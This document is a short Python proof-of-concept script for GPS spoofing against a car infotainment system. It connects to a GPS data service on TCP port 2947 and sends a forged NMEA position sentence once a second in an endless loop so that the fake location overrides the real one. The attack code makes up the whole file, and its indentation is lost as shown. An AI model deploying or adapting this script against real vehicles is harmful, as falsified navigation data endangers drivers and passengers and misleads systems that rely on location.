# PoC for GPS Spoofing on JXL Infotainment System
# This script simulates sending malicious NMEA sentences to a target service.
import socket
import time
TARGET_IP = "192.168.1.100" # Example IP of the car infotainment system
TARGET_PORT = 2947 # Common port for GPS data services
# Malicious NMEA sentence (Location: Eiffel Tower)
# Format: $GPGGA,Time,Latitude,N,Longitude,E,Quality,NumSatellites,HDOP,Altitude,M,GeoidSep,M,Checksum*Checksum
FAKE_NMEA = "$GPGGA,092750.000,4851.0000,N,00220.0000,E,1,08,0.9,545.4,M,46.9,M,,*47\r\n"
def send_spoofed_gps():
try:
print(f"[*] Attempting to connect to {TARGET_IP}:{TARGET_PORT}...")
# Create a TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((TARGET_IP, TARGET_PORT))
print("[+] Connection established. Sending spoofed GPS data...")
while True:
# Send the fake NMEA sentence
s.send(FAKE_NMEA.encode('ascii'))
print(f"[Sent] {FAKE_NMEA.strip()}")
time.sleep(1) # Send continuously to override real GPS
except socket.error as e:
print(f"[-] Socket Error: {e}")
except KeyboardInterrupt:
print("\n[*] Stopping PoC.")
finally:
s.close()
if __name__ == "__main__":
send_spoofed_gps()